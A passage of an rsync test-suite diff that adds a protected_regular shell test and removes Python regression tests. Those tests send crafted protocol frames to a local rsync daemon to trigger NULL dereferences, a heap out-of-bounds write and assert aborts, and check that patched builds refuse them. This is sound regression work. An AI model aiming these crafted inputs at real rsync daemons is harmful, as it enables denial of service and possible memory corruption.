above.\n-can_punch_interior = can_punch and punch_frees(4096, 24576, 32768)\n-if can_punch and not can_punch_interior:\n-    print(\"preallocate: interior-hole assertion skipped: this filesystem's \"\n-          \"allocation unit cannot free a 24 KiB run inside a 32 KiB block\")\n-\n-matched_size = os.path.getsize(TODIR / deep)\n-matched_before = allocated(TODIR / deep)\n-run_rsync('-a', '--ignore-times', '--inplace', '--sparse', '--no-whole-file',\n-          '--block-size=32768', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep,\n-            label='--inplace --sparse matched-block content')\n-matched_after = allocated(TODIR / deep)\n-if (can_punch_interior and matched_before >= matched_size\n-        and matched_after * 2 >= matched_before):\n-    test_fail(f\"--inplace --sparse left matching interior zero runs allocated: \"\n-              f\"{matched_after} of {matched_before} bytes remain allocated \"\n-              f\"after a {matched_size}-byte matched-block update\")\n-\n-print(\"preallocate: --preallocate (do_fallocate) + sparse hole-punching \"\n-      \"(do_punch_hole) verified at depth\")\ndiff --git a/testsuite/protected-regular.test b/testsuite/protected-regular.test\nnew file mode 100644\nindex 0000000..40416b0\n--- /dev/null\n+++ b/testsuite/protected-regular.test\n@@ -0,0 +1,31 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2021 by Achim Leitner <aleitner@lis-engineering.de>\n+# This program is distributable under the terms of the GNU GPL (see COPYING)\n+#\n+# Modern linux systems have the protected_regular feature set to 1 or 2\n+# See https://www.kernel.org/doc/Documentation/sysctl/fs.txt\n+# Make sure we can still write these files in --inplace mode\n+\n+. \"$suitedir/rsync.fns\"\n+\n+test -f /proc/sys/fs/protected_regular || test_skipped \"Can't find protected_regular setting (only available on Linux)\"\n+pr_lvl=`cat /proc/sys/fs/protected_regular 2>/dev/null` || test_skipped \"Can't check if fs.protected_regular is enabled (probably need root)\"\n+test \"$pr_lvl\" != 0 || test_skipped \"fs.protected_regular is not enabled\"\n+\n+workdir=\"$tmpdir/files\"\n+mkdir \"$workdir\"\n+chmod 1777 \"$workdir\"\n+\n+echo \"Source\" > \"$workdir/src\"\n+echo \"\"       > \"$workdir/dst\"\n+chown 5001 \"$workdir/dst\" || test_skipped \"Can't chown (probably need root)\"\n+\n+# Output is only shown in case of an error\n+echo \"Contents of $workdir:\"\n+ls -al \"$workdir\"\n+\n+$RSYNC --inplace \"$workdir/src\" \"$workdir/dst\" || test_fail\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/protected-regular_test.py b/testsuite/protected-regular_test.py\ndeleted file mode 100644\nindex 4094534..0000000\n--- a/testsuite/protected-regular_test.py\n+++ /dev/null\n@@ -1,86 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/protected-regular.test.\n-#\n-# Modern Linux kernels can set fs.protected_regular = {1,2}, which\n-# blocks O_CREAT|O_WRONLY opens of files in world-writable sticky\n-# directories that the opener doesn't own. rsync --inplace must still\n-# be able to write into these files; this test guards that path.\n-\n-import os\n-import shutil\n-import subprocess\n-import sys\n-from pathlib import Path\n-\n-from rsyncfns import TMPDIR, run_rsync, test_fail, test_skipped\n-\n-\n-pr_path = Path('/proc/sys/fs/protected_regular')\n-if not pr_path.is_file():\n-    test_skipped(\"Can't find protected_regular setting (only available on Linux)\")\n-\n-try:\n-    pr_lvl = pr_path.read_text().strip()\n-except OSError:\n-    test_skipped(\"Can't check if fs.protected_regular is enabled\")\n-if pr_lvl == '0':\n-    test_skipped(\"fs.protected_regular is not enabled\")\n-\n-workdir = TMPDIR / 'files'\n-workdir.mkdir(parents=True, exist_ok=True)\n-os.chmod(workdir, 0o1777)\n-\n-(workdir / 'src').write_text(\"Source\\n\")\n-(workdir / 'dst').write_text(\"\")\n-\n-\n-def _chown_5001(path: Path) -> bool:\n-    \"\"\"Try to chown(2) `path` to uid 5001. Returns True on success.\"\"\"\n-    try:\n-        os.chown(path, 5001, -1)\n-        return True\n-    except PermissionError:\n-        return False\n-\n-\n-if not _chown_5001(workdir / 'dst'):\n-    # Not root: fall back to re-running ourselves under unshare with a\n-    # uid mapping (Linux user-namespace trick). Only attempt once.\n-    if not os.environ.get('RSYNC_UNSHARED'):\n-        unshare = shutil.which('unshare')\n-        if unshare is not None:\n-            try:\n-                probe = subprocess.run(\n-                    [unshare, '--user', '--map-root-user',\n-                     '--map-users', '5001:100000:1', 'true'],\n-                    stdin=subprocess.DEVNULL,\n-                    stdout=subprocess.DEVNULL,\n-                    stderr=subprocess.DEVNULL,\n-                    timeout=5,\n-                )\n-            except subprocess.TimeoutExpired:\n-                test_skipped(\"Can't chown (unshare probe timed out)\")\n-            if probe.returncode == 0:\n-                print(\"Re-running under unshare with UID mapping...\")\n-                env = os.environ.copy()\n-                env['RSYNC_UNSHARED'] = '1'\n-                os.execvpe(\n-                    unshare,\n-                    [unshare, '--user', '--map-root-user',\n-                     '--map-users', '5001:100000:1',\n-                     sys.executable, __file__],\n-                    env,\n-                )\n-    test_skipped(\"Can't chown (need root or unshare with uidmap)\")\n-\n-print(f\"Contents of {workdir}:\")\n-subprocess.run(['ls', '-al', str(workdir)])\n-\n-run_rsync('--inplace', str(workdir / 'src'), str(workdir / 'dst'))\n-\n-# A zero exit isn't enough: confirm --inplace actually wrote the source bytes\n-# into the protected destination (a no-op/short write would also exit 0).\n-dst_content = (workdir / 'dst').read_text()\n-if dst_content != \"Source\\n\":\n-    test_fail(f\"--inplace did not write the source content into the protected \"\n-              f\"dst: got {dst_content!r}\")\ndiff --git a/testsuite/proto-cleared-dirflist_test.py b/testsuite/proto-cleared-dirflist_test.py\ndeleted file mode 100644\nindex fffd0f4..0000000\n--- a/testsuite/proto-cleared-dirflist_test.py\n+++ /dev/null\n@@ -1,85 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a receiver NULL-deref on a sub-flist whose dir index\n-# targets a cleared dir_flist entry (flist.c recv_file_list).\n-#\n-# Under inc_recurse the receiver appends every received directory entry to\n-# dir_flist before flist_sort_and_clean() runs. If the peer sends two top-level\n-# directories with the SAME name, both are appended (dir_flist->used == 2), then\n-# the dedup pass clear_file()s one -- but the cleared file_struct stays in\n-# dir_flist->files[] at an index still < used. A sub-flist tagged with that\n-# cleared dir index passes the >= used bounds check, and the dirname-validation\n-# strcmp() then calls f_name() on the cleared entry (returns NULL) and\n-# dereferences it. The fix refuses an inactive (!F_IS_ACTIVE) dir slot up front.\n-#\n-# This drives a real daemon receiver with the pure-Python sender in inc_recurse\n-# mode: a top-level flist of two same-named dirs \"d\" plus an UNFINISHED regular\n-# file (non-zero length, no data sent) so the receiver keeps first_flist alive\n-# (otherwise the marker hits the separate \"after final flist freed\" guard); then\n-# a sub-flist marker for the cleared dir index (1, deterministic) followed by a\n-# child entry so the pre-fix path reaches the crashing strcmp.\n-#\n-# Oracle: fixed -> \"refusing flist for cleared dir_ndx 1\" (RERR_PROTOCOL). pre-fix\n-# -> the receiver dereferences the NULL f_name() and crashes, so that message\n-# never appears (the generator just reports the connection dropped). Normal-build\n-# crash; only needs a real TCP daemon.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12959\n-CLEARED_NDX = 1  # flist_sort_and_clean() deterministically clears the 2nd dup dir\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'cd-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'cd.conf'\n-log = SCRATCHDIR / 'cd.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/cd-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-before = log.read_text(errors='replace') if log.exists() else ''\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-re.iLsfxCIu', '.', 'mod/'], greeting_version=30)\n-# Two same-named top-level dirs (one gets clear_file()'d) + an unfinished file\n-# (keeps first_flist alive so we reach the cleared-slot guard, not the freed one).\n-d = rp.FileEntry('d', mode=rp.S_IFDIR | 0o755, length=0, extra_flags=rp.XMIT_TOP_DIR)\n-f = rp.FileEntry('f', mode=rp.S_IFREG | 0o644, length=100)\n-s.send_data(d.encode() + d.encode() + f.encode() + rp.end_of_flist(0, s.protocol))\n-# Sub-flist marker for the cleared dir slot, then a child entry (so the pre-fix\n-# receiver reaches the strcmp that dereferences the NULL f_name()).\n-child = rp.FileEntry('x', mode=rp.S_IFREG | 0o644, length=0)\n-s.send_data(s.w_ndx(rp.NDX_FLIST_OFFSET - CLEARED_NDX)\n-            + child.encode() + rp.end_of_flist(0, s.protocol))\n-s.drain(timeout=2.0)\n-s.close()\n-\n-refused = False\n-for _ in range(50):\n-    new = log.read_text(errors='replace')[len(before):]\n-    if 'refusing flist for cleared dir_ndx' in new:\n-        refused = True\n-        break\n-    time.sleep(0.1)\n-\n-if not refused:\n-    new = log.read_text(errors='replace')[len(before):]\n-    test_fail(\n-        \"receiver did not refuse a sub-flist for a cleared (duplicate) dir slot \"\n-        \"-- it dereferenced the NULL f_name() and crashed.\\n\"\n-        f\"daemon log:\\n{new}\")\n-\n-print(\"proto-cleared-dirflist: receiver refused a sub-flist for a cleared \"\n-      \"dir_flist slot (no NULL-deref crash).\")\ndiff --git a/testsuite/proto-cleared-ndx_test.py b/testsuite/proto-cleared-ndx_test.py\ndeleted file mode 100644\nindex 4677533..0000000\n--- a/testsuite/proto-cleared-ndx_test.py\n+++ /dev/null\n@@ -1,77 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a receiver NULL-deref on a transfer-phase index that\n-# targets a cleared file-list entry (receiver.c recv_files).\n-#\n-# A peer can send duplicate file-list entries; flist_sort_and_clean() then\n-# clear_file()s one of them (basename and mode zeroed) but leaves its slot\n-# indexable. If the transfer phase sends an ndx for that slot, recv_files()\n-# resolves it to the cleared file_struct and f_name() returns NULL, which flows\n-# into the daemon filter check / set_file_attrs() -> full_fname() and crashes\n-# the receiver child (NULL deref). The fix refuses an inactive entry\n-# (!F_IS_ACTIVE) at the ndx->file_struct resolution with a clean RERR_PROTOCOL.\n-#\n-# This drives a real daemon receiver with the pure-Python sender: push a file\n-# list with the SAME name twice (so flist_sort_and_clean clears the second\n-# slot, index 1), then send a transfer-phase ndx for that cleared slot.\n-#\n-# Oracle: fixed -> the receiver refuses with \"refusing transfer of cleared file\n-# index 1\" and exits RERR_PROTOCOL. pre-fix -> the receiver SIGSEGVs before\n-# logging anything, so that message never appears (the generator just reports\n-# the connection dropped). This is a normal-build crash (no ASan needed); it\n-# only needs a real TCP daemon.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12957\n-CLEARED_NDX = 1  # flist_sort_and_clean() deterministically clears the 2nd dup\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'cn-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'cn.conf'\n-log = SCRATCHDIR / 'cn.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/cn-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-before = log.read_text(errors='replace') if log.exists() else ''\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-e.LsfxCIu', '.', 'mod/'], greeting_version=30)\n-# Same name twice -> the 2nd entry's slot is clear_file()'d.\n-dup = rp.FileEntry('dup.txt', mode=rp.S_IFREG | 0o644, length=0)\n-s.send_flat_flist([dup, dup])\n-# Transfer-phase index for the cleared slot.\n-s.send_transfer_ndx(CLEARED_NDX, iflags=0)\n-s.drain(timeout=2.0)\n-s.close()\n-\n-refused = False\n-for _ in range(50):\n-    new = log.read_text(errors='replace')[len(before):]\n-    if 'refusing transfer of cleared file index' in new:\n-        refused = True\n-        break\n-    time.sleep(0.1)\n-\n-if not refused:\n-    new = log.read_text(errors='replace')[len(before):]\n-    test_fail(\n-        \"receiver did not refuse a transfer ndx targeting a cleared (dup) \"\n-        \"file-list entry -- it dereferenced the NULL f_name() and crashed.\\n\"\n-        f\"daemon log:\\n{new}\")\n-\n-print(\"proto-cleared-ndx: receiver refused a transfer ndx for a cleared \"\n-      \"file-list slot (no NULL-deref crash).\")\ndiff --git a/testsuite/proto-hlink-flag-oob_test.py b/testsuite/proto-hlink-flag-oob_test.py\ndeleted file mode 100644\nindex d6d510e..0000000\n--- a/testsuite/proto-hlink-flag-oob_test.py\n+++ /dev/null\n@@ -1,88 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for the heap out-of-bounds WRITE in recv_file_entry()\n-# (flist.c): a malicious sender that sets XMIT_HLINKED on a file even though\n-# the receiver was not invoked with -H. recv_file_entry() reserves the\n-# hard-link extras slots only under preserve_hard_links, but used to set\n-# FLAG_HLINKED straight from the peer's xflags. HLINK_BUMP() then offsets\n-# F_SUM() past the start of the pool_alloc()'d region, and the subsequent\n-# read_buf(f, F_SUM(file), flist_csum_len) writes attacker-controlled checksum\n-# bytes below the allocation. The fix gates FLAG_HLINKED on preserve_hard_links.\n-#\n-# The shift is HLINK_BUMP()*EXTRA_LEN = (inc_recurse+1)*EXTRA_LEN. With\n-# inc_recurse OFF the 8-byte shift is absorbed by extra-slot rounding and the\n-# write stays in bounds; with inc_recurse ON the shift is 16 bytes and the\n-# write underflows the chunk for real. So this drives the daemon with -r and an\n-# inc-recurse-capable -e string (the 'i' flag), no -H, and --checksum so the\n-# receiver reaches the F_SUM read.\n-#\n-# The corruption stays inside one 32 KiB pool malloc, so vanilla ASan can't see\n-# it; lib/pool_alloc.c fences each chunk with a poisoned redzone (under ASan).\n-# This test therefore needs an ASan build and a real TCP daemon, and is skipped\n-# otherwise.\n-#\n-# Entry: one regular file flagged XMIT_HLINKED|XMIT_HLINK_FIRST (HLINK_FIRST\n-# makes recv_file_entry skip the gnum read, keeping the stream in sync) plus a\n-# checksum trailer.\n-#\n-# Oracle: pre-fix -> the receiver aborts with an ASan use-after-poison report\n-# (captured via ASAN_OPTIONS=log_path). fixed -> no report.\n-\n-import glob\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_asan, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12953\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-require_asan(\"the FLAG_HLINKED pool underflow is only observable under \"\n-            \"AddressSanitizer + the lib/pool_alloc.c redzone\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'hlink-oob-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'hlink-oob.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/hlink-oob-rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-\n-# Route the daemon's ASan reports to files we can scan (start_rsyncd sends the\n-# daemon's stderr to /dev/null). The daemon inherits this env.\n-asan_log = SCRATCHDIR / 'hlink-oob-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-# -r + 'i' => inc_recurse on the daemon (HLINK_BUMP == 2); --checksum =>\n-# always_checksum; NO -H => preserve_hard_links off.\n-s.handshake('mod', ['--server', '-re.iLsfxCIu', '--checksum', '.', 'mod/'],\n-            greeting_version=30)\n-evil = rp.FileEntry('h.txt', mode=rp.S_IFREG | 0o644, length=0,\n-                    extra_flags=rp.XMIT_HLINKED | rp.XMIT_HLINK_FIRST,\n-                    csum=b'\\x41' * 64)\n-s.send_flat_flist([evil])\n-s.drain(timeout=3.0)\n-s.close()\n-\n-reports = glob.glob(f\"{asan_log}.*\")\n-text = ''.join(open(r, errors='replace').read() for r in reports)\n-if 'AddressSanitizer' in text:\n-    test_fail(\n-        \"receiver hit an AddressSanitizer error parsing an XMIT_HLINKED entry \"\n-        \"sent without -H -- the FLAG_HLINKED pool underflow is unguarded:\\n\"\n-        + text[:1500])\n-\n-print(\"proto-hlink-flag-oob: XMIT_HLINKED-without-H entry parsed with no \"\n-      \"pool underflow (FLAG_HLINKED gated on preserve_hard_links).\")\ndiff --git a/testsuite/proto-hlink-gnum_test.py b/testsuite/proto-hlink-gnum_test.py\ndeleted file mode 100644\nindex 5e5ddd6..0000000\n--- a/testsuite/proto-hlink-gnum_test.py\n+++ /dev/null\n@@ -1,85 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a peer-controlled assert() abort in match_gnums()\n-# (hlink.c). With inc_recurse, a non-first hard-link entry carries\n-# first_hlink_ndx as its gnum. recv_file_entry() only bounds it as\n-# [0, ndx_start + used) but does not require that a value below ndx_start was\n-# ever declared via XMIT_HLINK_FIRST in an earlier flist. Such a gnum is absent\n-# from prior_hlinks, so the new-node branch in match_gnums() hit\n-# assert(gnum >= hlink_flist->ndx_start) -- a remotely-reachable abort() of the\n-# generator on default (assert-enabled) builds. The fix replaces the assert\n-# with a clean RERR_PROTOCOL exit.\n-#\n-# A first-flist back-reference would use gnum 0, which the hashtable rejects as\n-# an illegal key before the assert, so we put the hard-link entry in a SUB-flist\n-# (ndx_start >= 2) with a small but non-zero gnum. This drives a real daemon\n-# receiver with the pure-Python sender, -H + inc_recurse: a top-level content\n-# dir \"d\" plus an unfinished file (keeps first_flist alive), then a sub-flist\n-# for \"d\" containing a regular-file hard-link entry whose gnum (1) is below the\n-# sub-flist's ndx_start and was never declared.\n-#\n-# Oracle: fixed -> \"hard-link gnum 1 precedes flist start N\" (RERR_PROTOCOL).\n-# pre-fix -> the generator SIGABRTs on the assert, so that message never\n-# appears. Asserts are compiled in on the default debug build, so this is a\n-# normal-build RED/GREEN; only needs a real TCP daemon.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12960\n-BACKREF_GNUM = 1\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'hg-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'hg.conf'\n-log = SCRATCHDIR / 'hg.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/hg-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-before = log.read_text(errors='replace') if log.exists() else ''\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-rHe.iLsfxCIu', '.', 'mod/'], greeting_version=30)\n-# Top flist: a content dir \"d\" + an unfinished file (used=2 -> the sub-flist's\n-# ndx_start is > 1, so our small gnum is below it; the file keeps first_flist\n-# alive so the sub-flist is received rather than refused as \"after free\").\n-d = rp.FileEntry('d', mode=rp.S_IFDIR | 0o755, length=0, extra_flags=rp.XMIT_TOP_DIR)\n-f = rp.FileEntry('f', mode=rp.S_IFREG | 0o644, length=100)\n-s.send_data(d.encode() + f.encode() + rp.end_of_flist(0, s.protocol))\n-# Sub-flist for dir 0 (\"d\") with a hard-link entry carrying a back-ref gnum that\n-# was never declared XMIT_HLINK_FIRST.\n-h = rp.FileEntry('d/h', mode=rp.S_IFREG | 0o644, length=0, hlink_ndx=BACKREF_GNUM)\n-s.send_data(s.w_ndx(rp.NDX_FLIST_OFFSET - 0) + h.encode() + rp.end_of_flist(0, s.protocol))\n-s.drain(timeout=2.0)\n-s.close()\n-\n-refused = False\n-needle = 'hard-link gnum %d precedes flist start' % BACKREF_GNUM\n-for _ in range(50):\n-    new = log.read_text(errors='replace')[len(before):]\n-    if needle in new:\n-        refused = True\n-        break\n-    time.sleep(0.1)\n-\n-if not refused:\n-    new = log.read_text(errors='replace')[len(before):]\n-    test_fail(\n-        \"generator did not reject an undeclared back-reference hard-link gnum \"\n-        \"-- it hit the match_gnums() assert(gnum >= ndx_start) and aborted.\\n\"\n-        f\"daemon log:\\n{new}\")\n-\n-print(\"proto-hlink-gnum: generator rejected an undeclared back-reference \"\n-      \"hard-link gnum (no assert abort).\")\ndiff --git a/testsuite/proto-msg-info-assert_test.py b/testsuite/proto-msg-info-assert_test.py\ndeleted file mode 100644\nindex a3e0ff1..0000000\n--- a/testsuite/proto-msg-info-assert_test.py\n+++ /dev/null\n@@ -1,80 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a remotely-reachable abort in rwrite() (log.c): a daemon\n-# receiver child (am_server=1, am_generator=0, send_msgs_to_gen=1) that receives\n-# a MSG_INFO/MSG_ERROR frame from the wire calls rwrite() with\n-# is_utf8 = !am_generator = 1 (io.c read_a_msg). The send_msgs_to_gen branch\n-# used to assert(!is_utf8), so a peer that sends such a message to the receiver\n-# triggered a SIGABRT of the per-connection child. Legitimate senders never put\n-# these tags on the wire. The fix drops the assert and forwards the bytes raw to\n-# the generator, which logs them.\n-#\n-# This drives a real daemon receiver with the pure-Python sender: push a\n-# one-entry file list (so the receiver enters recv_files and reads our stream),\n-# then inject a MSG_INFO frame carrying a unique marker. In recv_files the\n-# receiver's read_ndx_and_attrs() reads our stream and read_a_msg() dispatches\n-# the MSG_INFO inline -> rwrite() with is_utf8=1.\n-#\n-# Oracle: fixed -> the receiver forwards the message to the generator, which\n-# logs the marker (and echoes a MSG_INFO frame back to us). pre-fix -> the\n-# receiver SIGABRTs on the assert *before* forwarding, so the marker never\n-# appears and the generator reports the connection dropped.\n-#\n-# Asserts are compiled in on the default (debug) build, so this is a normal-\n-# build RED/GREEN; it only needs a real TCP daemon (--use-tcp).\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12955\n-MARKER = b'SCANNER-0009-FORWARDED'\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'mi-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'mi.conf'\n-log = SCRATCHDIR / 'mi.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/mi-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-e.LsfxCIu', '.', 'mod/'], greeting_version=30)\n-# One regular file so the receiver enters recv_files and reads our stream.\n-s.send_flat_flist([rp.FileEntry('hello.txt', mode=rp.S_IFREG | 0o644, length=0)])\n-# Inject a peer MSG_INFO -- the receiver child's read_a_msg() -> rwrite(is_utf8=1).\n-s.send_message(rp.MSG_INFO, MARKER + b'\\n')\n-back = s.drain(timeout=3.0)\n-s.close()\n-\n-# The forwarded message reaches us as an echoed MSG_INFO frame and/or the\n-# generator's log. Either presence means the receiver did NOT abort.\n-forwarded = MARKER in back\n-for _ in range(50):\n-    if log.exists() and MARKER.decode() in log.read_text(errors='replace'):\n-        forwarded = True\n-        break\n-    if forwarded:\n-        break\n-    time.sleep(0.1)\n-\n-if not forwarded:\n-    log_text = log.read_text(errors='replace') if log.exists() else '(no log)'\n-    test_fail(\n-        \"daemon receiver did not forward a peer MSG_INFO -- it aborted on the \"\n-        \"rwrite() assert(!is_utf8) (the marker never reached the generator).\\n\"\n-        f\"daemon log:\\n{log_text}\")\n-\n-print(\"proto-msg-info-assert: daemon receiver forwarded a peer MSG_INFO without \"\n-      \"aborting (the rwrite assert is gone).\")\ndiff --git a/testsuite/proto-parent-ndx-empty-dirflist_test.py b/testsuite/proto-parent-ndx-empty-dirflist_test.py\ndeleted file mode 100644\nindex e2f00f3..0000000\n--- a/testsuite/proto-parent-ndx-empty-dirflist_test.py\n+++ /dev/null\n@@ -1,117 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a wild-pointer read via the first inc_recurse flist's\n-# parent_ndx when dir_flist is empty (flist.c recv_file_list).\n-#\n-# Under inc_recurse the first flist (ndx_start == 1) has no parent entry of its\n-# own: recv_file_list() trusts the peer's \".\" entry to be the transfer root and\n-# leaves parent_ndx at the flist_new() default of 0, meaning dir_flist->files[0].\n-# Only S_ISDIR entries are appended to dir_flist, so a peer that sends a \".\"\n-# entry with a NON-directory mode keeps dir_flist->used at 0 while the basename\n-# strcmp() still passes -- parent_ndx stays 0 and the consumers (generate_files,\n-# recv_files, touch_up_dirs) index a never-written slot of the freshly allocated\n-# dir_flist->files[], i.e. uninitialised heap, and dereference it.\n-#\n-# This drives a real daemon receiver with the pure-Python sender: an inc_recurse\n-# push whose first (and only) flist is a \".\" REGULAR file plus a second regular\n-# file \"a\" -- no directory anywhere, so dir_flist->used stays 0, and \".\" sorts\n-# lowest so the basename test passes. (\"a\" is there so file_total != 1 and the\n-# receiver doesn't divert into recv_additional_file_list.)\n-#\n-# The file list ALONE is what does it: the GENERATOR (the connection parent;\n-# do_recv() forks the receiver as the child) crashes in generate_files() before\n-# any transfer phase. The follow-on token for ndx 0 is sent only to exercise\n-# recv_files()'s parent_ndx path on a build that survives the list; on a\n-# vulnerable one the generator is already gone by then, so this test does not\n-# demonstrate the receiver-side consumer.\n-#\n-# Three independent layers now stop this, in wire order: recv_file_entry()\n-# refuses a non-directory transfer-root entry outright; recv_file_list() clears\n-# parent_ndx to -1 when dir_flist is empty; and the parent_ndx consumers bounds-\n-# check against dir_flist->used. Only the first fires on a current build, so\n-# THIS TEST GATES THE ATTACK SHAPE, NOT THE parent_ndx CLAUSE: removing that one\n-# clause alone leaves the test passing. Isolating it needs the other two layers\n-# disabled as well (done once by hand: clause out = SIGSEGV, clause in =\n-# orderly refusal), which is why the clause is still worth backporting alone.\n-#\n-# The dereferenced slot is not guaranteed to be NULL -- dir_flist->files[] comes\n-# from realloc(), not calloc(). It reads as NULL in an ordinary run (si_addr\n-# 0x14 = file->mode), but a peer that grooms the heap first (a large freed\n-# filter list) can put its own bytes there. Either way the observed outcome is\n-# a crash. Normal-build oracle; only needs a real TCP daemon.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12967\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'pn-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'pn.conf'\n-log = SCRATCHDIR / 'pn.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/pn-rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-before = log.read_text(errors='replace') if log.exists() else ''\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-re.iLsfxCIu', '.', 'mod/'], greeting_version=30)\n-# The transfer root \".\" as a regular file: it never lands in dir_flist, so\n-# dir_flist->used stays 0 while \".\" still sorts lowest.\n-dot = rp.FileEntry('.', mode=rp.S_IFREG | 0o644, length=100)\n-other = rp.FileEntry('a', mode=rp.S_IFREG | 0o644, length=100)\n-s.send_data(dot.encode() + other.encode() + rp.end_of_flist(0, s.protocol))\n-time.sleep(0.5)\n-# ndx 0 == first_flist->ndx_start - 1.  A FIXED daemon has already refused the\n-# file list and gone by now, so this send and the drain may hit a closed socket:\n-# Linux and FreeBSD swallow it, other stacks raise EPIPE/ECONNRESET.  That is an\n-# expected outcome, not a result -- the verdict comes from the daemon log below.\n-try:\n-    s.send_transfer_ndx(0, rp.ITEM_TRANSFER)\n-    s.drain(timeout=3.0)\n-except (OSError, rp.ProtocolError):\n-    pass\n-s.close()\n-\n-# Two things must both be true, and a bare \"rsync error:\" is NOT enough: any\n-# later wire error would satisfy that, so the test would pass without the\n-# crafted list ever reaching the parser (proved by sending a bogus file index\n-# against a build where \".\" was a valid directory -- it \"passed\").\n-#   * positive control: the daemon reached recv_file_list() at all; and\n-#   * the refusal names THIS condition.\n-reached = refused = False\n-for _ in range(50):\n-    new = log.read_text(errors='replace')[len(before):]\n-    reached = 'receiving file list' in new\n-    refused = 'rejecting non-directory transfer-root entry' in new\n-    if reached and refused:\n-        break\n-    time.sleep(0.1)\n-\n-new = log.read_text(errors='replace')[len(before):]\n-if not reached:\n-    test_fail(\"the daemon never logged 'receiving file list', so the crafted \"\n-              \"transfer root never reached recv_file_list() -- this run proves \"\n-              f\"nothing either way.\\ndaemon log:\\n{new}\")\n-if not refused:\n-    test_fail(\n-        \"the daemon did not refuse the non-directory transfer root of a first \"\n-        \"inc_recurse flist.  Either it died dereferencing dir_flist->files[0] \"\n-        \"from an empty dir_flist (no further log output), or it failed for some \"\n-        f\"unrelated 